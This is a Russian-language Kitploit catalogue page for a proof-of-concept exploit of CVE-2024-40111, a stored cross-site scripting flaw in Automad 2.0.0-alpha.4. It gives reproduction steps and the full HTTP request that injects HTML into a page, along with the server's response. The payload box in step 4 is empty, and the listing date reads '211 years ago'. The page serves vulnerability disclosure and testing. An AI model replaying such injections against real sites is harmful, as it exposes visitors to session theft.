Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-40111-Exploit — Эксплойт для: CVE-2024-40111: Межсайтовый скриптинг (XSS) с сохранением в Automad 2.0.0-alpha.4 | Kitploit
Инструменты/GitHubGitHub/theexploiters/cve-2024-40111-exploit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubtheexploiters/cve-2024-40111-exploit

CVE-2024-40111-Exploit

Эксплойт для: CVE-2024-40111: Межсайтовый скриптинг (XSS) с сохранением в Automad 2.0.0-alpha.4

Репозиторий
211 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-40111: Межсайтовый скриптинг (XSS) с сохранением в Automad 2.0.0-alpha.4

Детали эксплойта

  • Название эксплойта: Межсайтовый скриптинг (XSS) с сохранением в Automad 2.0.0-alpha.4
  • Дата: 2024-06-20
  • Автор эксплойта: Jerry Thomas (w3bn00b3r)
  • Домашняя страница вендора: Automad
  • Ссылка на ПО: Репозиторий Automad на GitHub
  • Категория: Веб-приложение [Flat File CMS]
  • Версия: 2.0.0-alpha.4
  • Протестировано на: Docker version 26.1.4, Debian GNU/Linux 11 (bullseye)

Описание

В Automad 2.0.0-alpha.4 выявлена уязвимость постоянного (сохраняемого) межсайтового скриптинга (XSS). Данная уязвимость позволяет злоумышленникам внедрять вредоносный JavaScript-код в тело шаблона, который сохраняется в CMS. Внедрённый код выполняется в браузере любого пользователя, посещающего затронутую страницу, что потенциально может привести к перехвату сеансов, краже данных и другим вредоносным действиям.

Доказательство концепции

Шаги для воспроизведения

  1. Вход в систему: Войдите как администратор и перейдите к конечной точке http://localhost/dashboard/home.

  2. Редактирование приветственной страницы: Отредактируйте страницу приветствия по умолчанию.

  3. Переход на вкладку «Контент»: Перейдите по адресу http://localhost/dashboard/page?url=%2F&section=text и отредактируйте блок с именем Main.

  4. Внедрение полезной нагрузки: Введите следующую XSS-полезную нагрузку:

    root@kitploit:~

Запрос

root@kitploit:~
POST /_api/page/data HTTP/1.1
Host: localhost
Content-Length: 1822
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCv
Accept: */*
Origin: http://localhost
Referer: http://localhost/dashboard/page?url=%2F&section=text
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cb
Connection: close

------WebKitFormBoundaryzHmXQBdtZsTYQYCv
Content-Disposition: form-data; name="__csrf__"

49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1
------WebKitFormBoundaryzHmXQBdtZsTYQYCv
Content-Disposition: form-data; name="__json__"

{"data":{"title":"Welcome","+hero":{"blocks":[{"id":"KodzL-KvSZcRyOjlQDYW9Md2rGNtOUph","type":"paragraph","data":{"text":"Testing for xss","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"bO_fxLKL1LLlgtKCSV_wp2sJQkXAsda8","type":"paragraph","data":{"text":"<h1>XSS identified by Jerry</h1>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"},"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"You have successfully installed Automad 2.<br><br><br>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"NR_n3XqFF94kfN0jka5XGbi_-TBEf9ot","type":"buttons","data":{"primaryText":"Visit Dashboard","primaryLink":"/dashboard","primaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingVertical":"0.5rem","paddingHorizontal":"1.5rem"},"primaryOpenInNewTab":false,"secondaryText":"","secondaryLink":"","secondaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingHorizontal":"1.5rem","paddingVertical":"0.5rem"},"secondaryOpenInNewTab":true,"justify":"start","gap":"1rem"},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"}},"theme_template":"project","dataFetchTime":"1718911139","url":"/"}
------WebKitFormBoundaryzHmXQBdtZsTYQYCv--

Ответ

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.24.0
Date: Thu, 20 Jun 2024 19:17:35 GMT
Content-Type: application/json; charset=utf-8
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 30

{"code":200,"time":1718911055}
  1. Запуск XSS: XSS-полезная нагрузка срабатывает при посещении главной страницы http://localhost/.

Счётчик просмотров репозитория

Скачать инструмент